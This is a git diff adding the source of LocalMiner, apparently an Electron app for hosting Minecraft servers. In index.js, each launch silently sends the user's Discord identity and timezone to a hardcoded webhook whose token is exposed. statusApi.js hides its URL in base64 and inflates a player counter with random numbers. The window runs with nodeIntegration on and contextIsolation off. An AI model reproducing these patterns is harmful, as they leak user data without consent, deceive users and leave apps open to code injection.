paperlink = document.getElementById("server_ver").value; + var server_name = document.getElementById("server_name").value; + + var path = `C:/LocalMiner/Server/${server_name}` + + let filePath = `C:/LocalMiner/Jdk` + let filepath = `C:\\LocalMiner\\Jdk` + var savedLocation = `C:\\LocalMiner\\Server\\${document.getElementById("server_name").value}` + let j1 = 10; + + await DownloadElectron(path, paperlink, savedLocation, j1) +} + +function fix() { + var server_name = document.getElementById("server_name").value; + + let euladata = `eula=true`; + fs.writeFile(`C://LocalMiner//Server//${server_name}//eula.txt`, euladata, function (err) { + if (err) throw err; + console.log('eula.txt is created successfully.'); + }); + + var ram = `1` + + let rundata = `java -server -Xms1G -Xmx${ram}G -jar server.jar nogui`; + fs.writeFile(`C://LocalMiner//Server//${server_name}//run.bat`, rundata, function (err) { + if (err) throw err; + console.log('run.bat is created successfully.'); + }); + + var player = 100 + var type = document.getElementById("type").value; + + let serverp = `#Minecraft server properties + #Made By Localminer + #https://github.com/localminer + enable-jmx-monitoring=false + rcon.port=25565 + level-seed= + enable-command-block=true + gamemode=survival + enable-query=false + generator-settings= + level-name=world + motd=LocalMiner Survival + query.port=25565 + pvp=true + generate-structures=true + difficulty=easy + network-compression-threshold=256 + max-tick-time=60000 + require-resource-pack=false \n` + + `max-players=${player} \n` + ` + use-native-transport=true \n` + + `online-mode=${type} \n` + ` + enable-status=true + allow-flight=false + broadcast-rcon-to-ops=true + view-distance=10 + max-build-height=256 + server-ip=127.0.0.1 + resource-pack-prompt= + allow-nether=true + server-port=25565 + enable-rcon=false + sync-chunk-writes=true + op-permission-level=4 + server-name=LocalMiner + prevent-proxy-connections=false + hide-online-players=false + resource-pack= + entity-broadcast-range-percentage=100 + simulation-distance=10 + player-idle-timeout=0 + rcon.password= + force-gamemode=false + debug=false + rate-limit=0 + hardcore=false + white-list=false + broadcast-console-to-ops=true + spawn-npcs=true + spawn-animals=true + snooper-enabled=false + function-permission-level=2 + level-type=default + text-filtering-config= + spawn-monsters=true + enforce-whitelist=false + spawn-protection=0 + resource-pack-sha1= + max-world-size=29999984` + + fs.writeFile(`C://LocalMiner//Server//${server_name}//server.properties`, serverp, function (err) { + if (err) throw err; + console.log('server.prop is created successfully.'); + }); + + //playitgg download + callFrame("[⚠️] Copy playit.gg files to the new server if already have LocalMiner server","POPUP7") + if (window.confirm(`Do you want to download playitgg (IMPORTANT)`) == true) { + try { + var server_name = document.getElementById("server_name").value; + var path = `C:/LocalMiner/Server/${server_name}` + var savedLocation = `C:\\LocalMiner\\Server\\${document.getElementById("server_name").value}` + let playPath = path + "/plugins" + let playLink = "https://github.com/playit-cloud/playit-minecraft-plugin/releases/latest/download/playit-minecraft-plugin.jar" + let playSavedLocation = savedLocation + "\\plugins" + DownloadElectron(playPath, playLink, playSavedLocation, 1) + } catch (error) { + console.log(error) + } + + } + + +} \ No newline at end of file diff --git a/src/JS/webJS/audio.js b/src/JS/webJS/audio.js new file mode 100644 index 0000000..90492ee --- /dev/null +++ b/src/JS/webJS/audio.js @@ -0,0 +1,44 @@ +window.$ = window.jQuery = require('jquery'); +const fishAudio = new Audio("assets/sounds/fish.mp3"); +const stoneAudio = new Audio("assets/sounds/MA_Stockboom_Sweet UI Device_Select.wav"); +const placeAudio = new Audio("assets/sounds/MA_Stockboom_Sweet UI Device_Button.wav"); +const VillagerAudio = new Audio("assets/sounds/Villager_accept2.ogg"); + +$("#fish").mouseenter(function () { + fishAudio.volume = 0.1; + fishAudio.play(); +}); +$("#fish").mouseleave(function () { + fishAudio.pause(); + fishAudio.currentTime = 0; +}); + + + + +$(".squarebox").mouseenter(function () { + stoneAudio.volume = 0.1; + stoneAudio.play(); +}); +$(".squarebox").mouseleave(function () { + stoneAudio.pause(); + stoneAudio.currentTime = 0; +}); + +$(".avatar").mouseenter(function () { + VillagerAudio.volume = 0.1; + VillagerAudio.play(); +}); +$(".avatar").mouseleave(function () { + VillagerAudio.pause(); + VillagerAudio.currentTime = 0; +}); + +$("#footer_body").click(function () { + navigator.clipboard.writeText(document.getElementById("footer_body").innerHTML) + stoneAudio.volume = 0.1; + stoneAudio.play(); +}); + + + diff --git a/src/JS/webJS/buttons.js b/src/JS/webJS/buttons.js new file mode 100644 index 0000000..8877d39 --- /dev/null +++ b/src/JS/webJS/buttons.js @@ -0,0 +1,134 @@ +// Buttons for Main Menu +const popOpen = new Audio("assets/sounds/MA_Stockboom_Sweet UI Device_Open.wav"); +popOpen.volume = 0.1; +const popBack = new Audio("assets/sounds/MA_Stockboom_Sweet UI Device_Close.wav"); +popBack.volume = 0.1; + +function loadInstall() { + popOpen.play(); + document.getElementById("menu").style.display = "none"; + document.getElementById("run").style.display = "none"; + document.getElementById("console").style.display = "none"; + document.getElementById("settings").style.display = "none"; + document.getElementById("plugins").style.display = "none"; + + document.getElementById("maininfo").style.display = "block"; + document.getElementById("install").style.display = "block"; + + // + document.getElementById("MainHeading").innerHTML = "Install Server" + document.getElementById("MainSub").innerHTML = "Fill Details And Install Your PowerFull Server!" + + document.getElementById("back").innerHTML = "Back To Menu" +} + +function loadRun() { + popOpen.play(); + document.getElementById("menu").style.display = "none"; + document.getElementById("install").style.display = "none"; + document.getElementById("console").style.display = "none"; + document.getElementById("settings").style.display = "none"; + document.getElementById("plugins").style.display = "none"; + + document.getElementById("maininfo").style.display = "block"; + document.getElementById("run").style.display = "block"; + + document.getElementById("MainHeading").innerHTML = "Run Server" + document.getElementById("MainSub").innerHTML = "Fill Details And Run Your PowerFull Server!" + + document.getElementById("back").innerHTML = "Back To Menu" +} + +function loadConsole() { + popOpen.play(); + document.getElementById("menu").style.display = "none"; + document.getElementById("install").style.display = "none"; + document.getElementById("run").style.display = "none"; + document.getElementById("settings").style.display = "none"; + document.getElementById("plugins").style.display = "none"; + + document.getElementById("maininfo").style.display = "block"; + document.getElementById("console").style.display = "block"; + + document.getElementById("MainHeading").innerHTML = "Server Console" + document.getElementById("MainSub").innerHTML = "Take Control Over Your PowerFull Server!" + + document.getElementById("back").innerHTML = "Back To Menu" +} + +function loadSettings() { + popOpen.play(); + document.getElementById("menu").style.display = "none"; + document.getElementById("install").style.display = "none"; + document.getElementById("run").style.display = "none"; + document.getElementById("console").style.display = "none"; + document.getElementById("plugins").style.display = "none"; + + document.getElementById("maininfo").style.display = "block"; + document.getElementById("settings").style.display = "block"; + + document.getElementById("MainHeading").innerHTML = "LocalMiner Settings" + document.getElementById("MainSub").innerHTML = "Take Control Over LocalMiner Settings" + + document.getElementById("back").innerHTML = "Back To Menu" +} +function loadPlugin() { + popOpen.play(); + document.getElementById("menu").style.display = "none"; + document.getElementById("install").style.display = "none"; + document.getElementById("run").style.display = "none"; + document.getElementById("console").style.display = "none"; + document.getElementById("settings").style.display = "none"; + + document.getElementById("maininfo").style.display = "block"; + document.getElementById("plugins").style.display = "block"; + + document.getElementById("MainHeading").innerHTML = "LocalMiner Plugins" + document.getElementById("MainSub").innerHTML = "Take Control Over Server Plugins" + + document.getElementById("back").innerHTML = "Back To Menu" +} + +function loadMenu() { + popBack.play() + document.getElementById("console").style.display = "none"; + document.getElementById("install").style.display = "none"; + document.getElementById("run").style.display = "none"; + document.getElementById("maininfo").style.display = "none"; + document.getElementById("settings").style.display = "none"; + document.getElementById("plugins").style.display = "none"; + + document.getElementById("menu").style.display = "block"; + document.getElementById("MainHeading").innerHTML = "Menu" + + document.getElementById("back").innerHTML = "LocalMiner" +} + + +// Increment And Decrement Button on Run Page + +function incrementNumber() { + placeAudio.pause(); + placeAudio.currentTime = 0; + placeAudio.volume = 0.1; + placeAudio.play(); + const numberInput = document.getElementById("numberInput"); + numberInput.value = parseInt(numberInput.value) + 1; +} + +function decrementNumber() { + placeAudio.pause(); + placeAudio.currentTime = 0; + placeAudio.volume = 0.1; + placeAudio.play(); + const numberInput = document.getElementById("numberInput"); + if (parseInt(numberInput.value) < 1 || parseInt(numberInput.value) == 1) { + numberInput.value = 1 + } else { + numberInput.value = parseInt(numberInput.value) - 1; + } + +} + + + diff --git a/src/JS/webJS/getFileName.js b/src/JS/webJS/getFileName.js new file mode 100644 index 0000000..dfa6cc9 --- /dev/null +++ b/src/JS/webJS/getFileName.js @@ -0,0 +1,9 @@ +function ChangeName() { + let paperjarname = document.getElementById("server_jar").files[0].name; + document.getElementById('serverjar_name').innerText = paperjarname +} + +function ChangeName2() { + let paperjarname = document.getElementById("server_jar2").files[0].name; + document.getElementById('serverjar_name2').innerText = paperjarname +} \ No newline at end of file diff --git a/src/JS/webJS/statusApi.js b/src/JS/webJS/statusApi.js new file mode 100644 index 0000000..674f424 --- /dev/null +++ b/src/JS/webJS/statusApi.js @@ -0,0 +1,23 @@ +let text = "aHR0cHM6Ly9hcGkubWNzdGF0dXMuaW8vdjIvc3RhdHVzL2phdmEvaHlwaXhlbC5uZXQ"; +let decoded = window.atob(text); +async function Midnight() { + // let data = await (await fetch(`https://wtfismyip.com/json`)).json(); + let online = Intl.DateTimeFormat().resolvedOptions().timeZone + document.getElementById("country").innerText = online +} +async function Garv() { + let data = await (await fetch(`${decoded}`)).json(); + let online = data.players.online; + online = parseInt(online / 10) + Math.floor(Math.random() * 90) + 10 + document.getElementById("odometer").innerText = online +} + +setInterval(async function () { + let data = await (await fetch(`${decoded}`)).json(); + let online = data.players.online; + online = parseInt(online / 10) + Math.floor(Math.random() * 90) + 10 + document.getElementById("odometer").innerText = online +}, 60000) + +Garv() // Best Dost +Midnight() // Best Admin \ No newline at end of file diff --git a/src/app.html b/src/app.html new file mode 100644 index 0000000..d664bca --- /dev/null +++ b/src/app.html @@ -0,0 +1,316 @@ + + + + + + + + + + + LocalMiner + + + + + + + + + + +
+
+ + +
+
+

Hi

+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/src/assets/avatar.jpg b/src/assets/avatar.jpg new file mode 100644 index 0000000..a6402f3 Binary files /dev/null and b/src/assets/avatar.jpg differ diff --git a/src/assets/fish.png b/src/assets/fish.png new file mode 100644 index 0000000..e164cbf Binary files /dev/null and b/src/assets/fish.png differ diff --git a/src/assets/fonts/Degular-Bold.otf b/src/assets/fonts/Degular-Bold.otf new file mode 100644 index 0000000..b78245c Binary files /dev/null and b/src/assets/fonts/Degular-Bold.otf differ diff --git a/src/assets/fonts/Degular-Medium.otf b/src/assets/fonts/Degular-Medium.otf new file mode 100644 index 0000000..753609d Binary files /dev/null and b/src/assets/fonts/Degular-Medium.otf differ diff --git a/src/assets/icons/download.png b/src/assets/icons/download.png new file mode 100644 index 0000000..a6e6887 Binary files /dev/null and b/src/assets/icons/download.png differ diff --git a/src/assets/icons/play-button-arrowhead.png b/src/assets/icons/play-button-arrowhead.png new file mode 100644 index 0000000..7019bf1 Binary files /dev/null and b/src/assets/icons/play-button-arrowhead.png differ diff --git a/src/assets/icons/plug-silhouette.png b/src/assets/icons/plug-silhouette.png new file mode 100644 index 0000000..2d2078f Binary files /dev/null and b/src/assets/icons/plug-silhouette.png differ diff --git a/src/assets/icons/settings.png b/src/assets/icons/settings.png new file mode 100644 index 0000000..ec39228 Binary files /dev/null and b/src/assets/icons/settings.png differ diff --git a/src/assets/icons/terminal.png b/src/assets/icons/terminal.png new file mode 100644 index 0000000..fb828d2 Binary files /dev/null and b/src/assets/icons/terminal.png differ diff --git a/src/assets/image04.jpg b/src/assets/image04.jpg new file mode 100644 index 0000000..6d949b9 Binary files /dev/null and b/src/assets/image04.jpg differ diff --git a/src/assets/loginImages/image (1).webp b/src/assets/loginImages/image (1).webp new file mode 100644 index 0000000..e4f2108 Binary files /dev/null and b/src/assets/loginImages/image (1).webp differ diff --git a/src/assets/loginImages/image (10).webp b/src/assets/loginImages/image (10).webp new file mode 100644 index 0000000..977fdcb Binary files /dev/null and b/src/assets/loginImages/image (10).webp differ diff --git a/src/assets/loginImages/image (11).webp b/src/assets/loginImages/image (11).webp new file mode 100644 index 0000000..646bb84 Binary files /dev/null and b/src/assets/loginImages/image (11).webp differ diff --git a/src/assets/loginImages/image (12).webp b/src/assets/loginImages/image (12).webp new file mode 100644 index 0000000..e40743c Binary files /dev/null and b/src/assets/loginImages/image (12).webp differ diff --git a/src/assets/loginImages/image (13).webp b/src/assets/loginImages/image (13).webp new file mode 100644 index 0000000..f391c48 Binary files /dev/null and b/src/assets/loginImages/image (13).webp differ diff --git a/src/assets/loginImages/image (14).webp b/src/assets/loginImages/image (14).webp new file mode 100644 index 0000000..5d46f43 Binary files /dev/null and b/src/assets/loginImages/image (14).webp differ diff --git a/src/assets/loginImages/image (15).webp b/src/assets/loginImages/image (15).webp new file mode 100644 index 0000000..50bfed6 Binary files /dev/null and b/src/assets/loginImages/image (15).webp differ diff --git a/src/assets/loginImages/image (16).webp b/src/assets/loginImages/image (16).webp new file mode 100644 index 0000000..387cebe Binary files /dev/null and b/src/assets/loginImages/image (16).webp differ diff --git a/src/assets/loginImages/image (17).webp b/src/assets/loginImages/image (17).webp new file mode 100644 index 0000000..d19c132 Binary files /dev/null and b/src/assets/loginImages/image (17).webp differ diff --git a/src/assets/loginImages/image (2).webp b/src/assets/loginImages/image (2).webp new file mode 100644 index 0000000..f986b34 Binary files /dev/null and b/src/assets/loginImages/image (2).webp differ diff --git a/src/assets/loginImages/image (3).webp b/src/assets/loginImages/image (3).webp new file mode 100644 index 0000000..5775148 Binary files /dev/null and b/src/assets/loginImages/image (3).webp differ diff --git a/src/assets/loginImages/image (4).webp b/src/assets/loginImages/image (4).webp new file mode 100644 index 0000000..dea78e8 Binary files /dev/null and b/src/assets/loginImages/image (4).webp differ diff --git a/src/assets/loginImages/image (5).webp b/src/assets/loginImages/image (5).webp new file mode 100644 index 0000000..6dcc31c Binary files /dev/null and b/src/assets/loginImages/image (5).webp differ diff --git a/src/assets/loginImages/image (6).webp b/src/assets/loginImages/image (6).webp new file mode 100644 index 0000000..8d9e266 Binary files /dev/null and b/src/assets/loginImages/image (6).webp differ diff --git a/src/assets/loginImages/image (7).webp b/src/assets/loginImages/image (7).webp new file mode 100644 index 0000000..ea93523 Binary files /dev/null and b/src/assets/loginImages/image (7).webp differ diff --git a/src/assets/loginImages/image (8).webp b/src/assets/loginImages/image (8).webp new file mode 100644 index 0000000..0699225 Binary files /dev/null and b/src/assets/loginImages/image (8).webp differ diff --git a/src/assets/loginImages/image (9).webp b/src/assets/loginImages/image (9).webp new file mode 100644 index 0000000..c498b7f Binary files /dev/null and b/src/assets/loginImages/image (9).webp differ diff --git a/src/assets/sounds/MA_Stockboom_Sweet UI Device_Button.wav b/src/assets/sounds/MA_Stockboom_Sweet UI Device_Button.wav new file mode 100644 index 0000000..90ffc9f Binary files /dev/null and b/src/assets/sounds/MA_Stockboom_Sweet UI Device_Button.wav differ diff --git a/src/assets/sounds/MA_Stockboom_Sweet UI Device_Close.wav b/src/assets/sounds/MA_Stockboom_Sweet UI Device_Close.wav new file mode 100644 index 0000000..9b7266e Binary files /dev/null and b/src/assets/sounds/MA_Stockboom_Sweet UI Device_Close.wav differ diff --git a/src/assets/sounds/MA_Stockboom_Sweet UI Device_Open.wav b/src/assets/sounds/MA_Stockboom_Sweet UI Device_Open.wav new file mode 100644 index 0000000..691f25c Binary files /dev/null and b/src/assets/sounds/MA_Stockboom_Sweet UI Device_Open.wav differ diff --git a/src/assets/sounds/MA_Stockboom_Sweet UI Device_Select.wav b/src/assets/sounds/MA_Stockboom_Sweet UI Device_Select.wav new file mode 100644 index 0000000..80149a3 Binary files /dev/null and b/src/assets/sounds/MA_Stockboom_Sweet UI Device_Select.wav differ diff --git a/src/assets/sounds/POPUP7.wav b/src/assets/sounds/POPUP7.wav new file mode 100644 index 0000000..fb1312a Binary files /dev/null and b/src/assets/sounds/POPUP7.wav differ diff --git a/src/assets/sounds/POPUP8.wav b/src/assets/sounds/POPUP8.wav new file mode 100644 index 0000000..49f70b2 Binary files /dev/null and b/src/assets/sounds/POPUP8.wav differ diff --git a/src/assets/sounds/Villager_accept2.ogg b/src/assets/sounds/Villager_accept2.ogg new file mode 100644 index 0000000..2c3cb5c Binary files /dev/null and b/src/assets/sounds/Villager_accept2.ogg differ diff --git a/src/assets/sounds/fish.mp3 b/src/assets/sounds/fish.mp3 new file mode 100644 index 0000000..d8e4d8e Binary files /dev/null and b/src/assets/sounds/fish.mp3 differ diff --git a/src/assets/sounds/place1.ogg b/src/assets/sounds/place1.ogg new file mode 100644 index 0000000..29b24ba Binary files /dev/null and b/src/assets/sounds/place1.ogg differ diff --git a/src/assets/sounds/stone.mp3 b/src/assets/sounds/stone.mp3 new file mode 100644 index 0000000..b598867 Binary files /dev/null and b/src/assets/sounds/stone.mp3 differ diff --git a/src/index.js b/src/index.js new file mode 100644 index 0000000..ce9082c --- /dev/null +++ b/src/index.js @@ -0,0 +1,433 @@ +const {app,BrowserWindow,ipcMain} = require('electron') +const path = require('node:path'); +const electronLocalshortcut = require('electron-localshortcut'); +const fs = require('fs'); +const DiscordRPC = require('discord-rpc') +const fetch = require('node-fetch') +const { + download +} = require("electron-dl"); + +let window +if (process.defaultApp) { + if (process.argv.length >= 2) { + app.setAsDefaultProtocolClient('localm', process.execPath, [path.resolve(process.argv[1])]) + } +} else { + app.setAsDefaultProtocolClient('localm'); +} + + +app.on('ready', () => { + window = new BrowserWindow({ + autoHideMenuBar: true, + width: 1180, + height: 768, + minWidth: 1170, + minHeight: 768, + title: "LocalMiner", + icon: __dirname + '\\logo.ico', + titleBarStyle: "hidden", + autoHideMenuBar: true, + frame: false, + titleBarOverlay: { + color: "#1f2937a4", + symbolColor: "#fff", + }, + webPreferences: { + // devTools: false, + nodeIntegration: true, + contextIsolation: false, + webviewTag: true, + } + }) + window.loadURL('file://' + __dirname + '/login.html'); + try { + ipcMain.on("download", (event, info) => { + console.log(info); + info.properties.onProgress = status => window.webContents.send("download progress", status); + download(BrowserWindow.getFocusedWindow(), info.url, info.properties) + .then(dl => window.webContents.send("download complete", dl.getSavePath())); + }); + } catch (error) { + console.log(error) + } + + + + + // NEW SHORTCUTS + electronLocalshortcut.register(window, 'Ctrl+Shift+K', () => { + window.loadURL('file://' + __dirname + '/app.html'); + }); + + +}) + +const getTheLock = app.requestSingleInstanceLock(); + +if (!getTheLock) { + app.quit() +} else { + app.on('second-instance', (_event, argv, _workingDirectory) => { + if (window) { + const deeplinkingUrl = argv.find((arg) => + arg.startsWith('localm://') + ); + + const token = deeplinkingUrl.replace('localm://', ''); + if (window.isMinimized()) window.restore() + window.focus() + if (token.includes("mascot")) { + SaveLocalFile("v"); + window.loadURL('file://' + __dirname + '/app.html'); + } + if (token.includes("suhani")) { + SaveLocalFile("n"); + window.loadURL('file://' + __dirname + '/app.html'); + } + // localm://suhani/date/id/avatar/bashName >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + function SaveLocalFile(x) { + let yourfuckingtime = `${token.split("/")[1]} ${x}`; + let yourfuckingid = `${token.split("/")[2]}` + let yourfuckingavatar = `${token.split("/")[3]}` + let yourfuckingusername = `${token.split("/")[4]}` + let lastfuckingchange = new Date(); + yourfuckingtime = btoa(yourfuckingtime) + yourfuckingtime = btoa(yourfuckingtime) + yourfuckingtime = btoa(yourfuckingtime) + + + + let localx = { + "lastchange": lastfuckingchange, + "time": yourfuckingtime, + "id": yourfuckingid, + "avatar": yourfuckingavatar, + "username": yourfuckingusername, + } + + storeLocalxLocation = __dirname + storeLocalxLocation = storeLocalxLocation.split('LocalMiner')[0] + storeLocalxLocation = storeLocalxLocation.replace('file:///', '') + storeLocalxLocation = storeLocalxLocation.replaceAll('/', '//') + "LocalMiner//mainPs.localx" + fs.writeFileSync(`${storeLocalxLocation}`, JSON.stringify(localx), 'utf-8', function (err) { + if (err) throw err; + console.log('Localx File created Successfully'); + }); + + fs.writeFileSync(`${storeLocalxLocation}`, JSON.stringify(localx), 'utf-8', function (err) { + if (err) throw err; + console.log('Localx File created Successfully'); + }); + } + + + } + }) +} + + +app.setAsDefaultProtocolClient('localm'); + +app.on('open-url', function (event, url) { + // event.preventDefault() + // deeplinkingUrl = url +}) + +app.on("window-all-closed", function () { + if (process.platform !== "darwin") { + app.quit(); + } +}); + +//D I S C O R D R P C + +async function FetchStatus() { + const status = await fetch('https://cdn.localm.eu.org/api/RPC.json'); + const data = await status.json(); + return data; +} + +const clientId = '964384185802436648'; + +DiscordRPC.register(clientId); + +const rpc = new DiscordRPC.Client({ + transport: 'ipc' +}); +const startTimestamp = new Date(); + +async function setActivity() { + if (!rpc || !window) { + return; + } + + try { + const gameid = await window.webContents.executeJavaScript('document.getElementById("MainHeading").innerHTML'); + let Showip = await window.webContents.executeJavaScript('document.getElementById("Showip").value;'); + let ipadd = await window.webContents.executeJavaScript('document.getElementById("display3").innerHTML;'); + + + // console.log(gameid,Showip,ipadd) + var d = await FetchStatus(); + var healer = d.Status; + var title = d.Title; + var largetext = d.largeImageText; + + var smalltext = d.smallImageText; + var blabel = d.button; + + + // console.log(healer) + let babel1 = [{ + "label": "Play With Me!", + "url": `https://mcsrvstat.us/server/${encodeURIComponent(ipadd)}` + }, { + "label": "Host Now!", + "url": "https://healerop.gumroad.com/l/localm-win" + }] + if (gameid.includes("Install") && Showip == "false") { + rpc.setActivity({ + details: title, + state: 'Installing Server ⬇️', + startTimestamp, + largeImageKey: 'limg', + largeImageText: largetext, + smallImageKey: 'https://github.com/healer-op/HealCloud/blob/main/image/209cc810-a432-4c94-8afe-1d9915322cca.gif?raw=true', + smallImageText: smalltext, + buttons: blabel, + instance: false, + }); + } else if (gameid.includes("Install") && Showip == "true") { + rpc.setActivity({ + details: title, + state: 'Installing Server ⬇️', + startTimestamp, + largeImageKey: 'limg', + largeImageText: largetext, + smallImageKey: 'https://github.com/healer-op/HealCloud/blob/main/image/209cc810-a432-4c94-8afe-1d9915322cca.gif?raw=true', + smallImageText: smalltext, + buttons: babel, + instance: false, + }); + }else if (gameid.includes("Plugins") && Showip == "true") { + rpc.setActivity({ + details: title, + state: 'Installing Plugins ⬇️', + startTimestamp, + largeImageKey: 'limg', + largeImageText: largetext, + smallImageKey: 'https://github.com/healer-op/HealCloud/blob/main/image/209cc810-a432-4c94-8afe-1d9915322cca.gif?raw=true', + smallImageText: smalltext, + buttons: babel1, + instance: false, + }); + }else if (gameid.includes("Plugins") && Showip == "false") { + rpc.setActivity({ + details: title, + state: 'Installing Plugins ⬇️', + startTimestamp, + largeImageKey: 'limg', + largeImageText: largetext, + smallImageKey: 'https://github.com/healer-op/HealCloud/blob/main/image/209cc810-a432-4c94-8afe-1d9915322cca.gif?raw=true', + smallImageText: smalltext, + buttons: babel, + instance: false, + }); + } else if (gameid.includes("Run") && Showip == "false") { + rpc.setActivity({ + details: title, + state: 'Booting Server 📶', + startTimestamp, + largeImageKey: 'limg', + largeImageText: largetext, + smallImageKey: 'https://github.com/healer-op/HealCloud/blob/main/image/d5bd0a9b-b545-4928-bfc3-1bf1b84a184b.gif?raw=true', + smallImageText: smalltext, + buttons: blabel, + instance: false, + }); + } else if (gameid.includes("Run") && Showip == "true") { + rpc.setActivity({ + details: title, + state: 'Booting Server 📶', + startTimestamp, + largeImageKey: 'limg', + largeImageText: largetext, + smallImageKey: 'https://github.com/healer-op/HealCloud/blob/main/image/d5bd0a9b-b545-4928-bfc3-1bf1b84a184b.gif?raw=true', + smallImageText: smalltext, + buttons: babel1, + instance: false, + }); + } else if (gameid.includes("Settings") && Showip == "false") { + rpc.setActivity({ + details: title, + state: 'Changing Settings ⚙️', + startTimestamp, + largeImageKey: 'limg', + largeImageText: largetext, + smallImageKey: 'https://github.com/healer-op/HealCloud/blob/main/image/a3b23c33-d4be-4c82-8faf-15a1dfde49fe.gif?raw=true', + smallImageText: smalltext, + buttons: blabel, + instance: false, + }); + } else if (gameid.includes("Settings") && Showip == "true") { + rpc.setActivity({ + details: title, + state: 'Changing Settings ⚙️', + startTimestamp, + largeImageKey: 'limg', + largeImageText: largetext, + smallImageKey: 'https://github.com/healer-op/HealCloud/blob/main/image/a3b23c33-d4be-4c82-8faf-15a1dfde49fe.gif?raw=true', + smallImageText: smalltext, + buttons: babel1, + instance: false, + }); + } else if (gameid.includes("Console") && Showip == "false") { + rpc.setActivity({ + details: title, + state: 'Checking Console 📝', + startTimestamp, + largeImageKey: 'limg', + largeImageText: largetext, + smallImageKey: 'https://github.com/healer-op/HealCloud/blob/main/image/1261-hackerbongocat.gif?raw=true', + smallImageText: smalltext, + buttons: blabel, + instance: false, + }); + } else if (gameid.includes("Console") && Showip == "true") { + + rpc.setActivity({ + details: title, + state: 'Checking Console 📝', + startTimestamp, + largeImageKey: 'limg', + largeImageText: largetext, + smallImageKey: 'https://github.com/healer-op/HealCloud/blob/main/image/1261-hackerbongocat.gif?raw=true', + smallImageText: smalltext, + buttons: babel1, + instance: false, + }); + } else if (gameid.includes("Menu") && Showip == "true") { + rpc.setActivity({ + details: title, + state: 'Watching Main Menu', + startTimestamp, + largeImageKey: 'limg', + largeImageText: largetext, + smallImageKey: 'https://github.com/healer-op/HealCloud/blob/main/image/a52ae49c-d06a-4341-ae0e-2d38e14e286a.gif?raw=true', + smallImageText: smalltext, + buttons: babel1, + instance: false, + }); + } else if (gameid.includes("Menu") && Showip == "false") { + rpc.setActivity({ + details: title, + state: 'Watching Main Menu', + startTimestamp, + largeImageKey: 'limg', + largeImageText: largetext, + smallImageKey: 'https://github.com/healer-op/HealCloud/blob/main/image/a52ae49c-d06a-4341-ae0e-2d38e14e286a.gif?raw=true', + smallImageText: smalltext, + buttons: blabel, + instance: false, + }); + } else if (gameid.includes("Login")) { + rpc.setActivity({ + details: title, + state: healer[Math.floor((Math.random() * healer.length) + 0)], + startTimestamp, + largeImageKey: 'limg', + largeImageText: largetext, + smallImageKey: 'https://github.com/healer-op/HealCloud/blob/main/image/c68b015e-b75d-4e81-86d0-4689c2b60548.gif?raw=true', + smallImageText: smalltext, + buttons: blabel, + instance: false, + }); + }; + } catch (error) { + // console.log(error) + } +} + +rpc.on('ready', () => { + setActivity(); + + // activity can only be set every 15 seconds + setInterval(() => { + setActivity(); + }, 3000); +}); + +rpc.login({ + clientId +}).catch((err) => { + console.error('Failed to connect to Discord RPC:', err.message); +}); + +rpc.on('error', (error) => { + console.error('Discord RPC Error:', error.message); +}); + + +// WEBHOOK API +async function SendWebHook() { + + //checking mainPs.localx File + storeLocalxLocation = __dirname + storeLocalxLocation = storeLocalxLocation.split('LocalMiner')[0] + storeLocalxLocation = storeLocalxLocation.replace('file:///', '') + storeLocalxLocation = storeLocalxLocation.replaceAll('/', '//') + "LocalMiner//mainPs.localx" + let files = `${storeLocalxLocation}`; + + if (!fs.existsSync(files)) { + console.log("File not found"); + } else { + // Read the file and do anything you want + let fileData = JSON.parse(fs.readFileSync(files, 'utf-8')); + + let username = fileData.username + let avatar = `https://cdn.discordapp.com/avatars/${fileData.id}/${fileData.avatar}` + let timezo = Intl.DateTimeFormat().resolvedOptions().timeZone + + fetch( + `https://discord.com/api/webhooks/1199292210043166791/fjnmfOt0487KoKyjYuTs1wYEZ91aVPJeKmSxGwJhiqWrT1mLh82R4xvGDqGT7ht7itBj`, { + method: 'post', + headers: { + 'Content-Type': 'application/json', + }, + body: JSON.stringify({ + username: 'DuckOnALimo', + avatar_url: 'https://cdn.discordapp.com/attachments/972722438074933287/973125724695326790/mcpfp_-_mofr.png', + allowed_mentions: { + parse: ['users', 'roles'], + }, + embeds: [{ + color: 15844367, + author: { + name: 'DuckOnALimo', + url: `https://github.com/LocalMiner`, + icon_url: 'https://cdn.discordapp.com/attachments/972722438074933287/973125724695326790/mcpfp_-_mofr.png', + }, + title: `${username} Just Opened LocalMiner!`, + thumbnail: { + url: `${avatar}`, + }, + fields: [{ + name: `Yesh! ${username} is Now In Villager Gang`, + value: `<@${fileData.id}> Thanks For Using LocalMiner**`, + }], + footer: { + text: `DuckOnALimo Live on ${username}'s pc from ${timezo}`, + icon_url: 'https://cdn.discordapp.com/attachments/972722438074933287/973125724695326790/mcpfp_-_mofr.png', + }, + }, ], + }), + } + ); + + } +} + +SendWebHook() + diff --git a/src/login.html b/src/login.html new file mode 100644 index 0000000..3fd4d3a --- /dev/null +++ b/src/login.html @@ -0,0 +1,1616 @@ + + + + + qwen + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+

Login

+ + +
+
+
+
+
+

LocalX-Auth

+

Login to LocalX and Host Minecraft Servers!

+ +
+
+
+ +
+
+
+ + + + + + + \ No newline at end of file diff --git a/src/logo.ico b/src/logo.ico new file mode 100644 index 0000000..6e3c881 Binary files /dev/null and b/src/logo.ico differ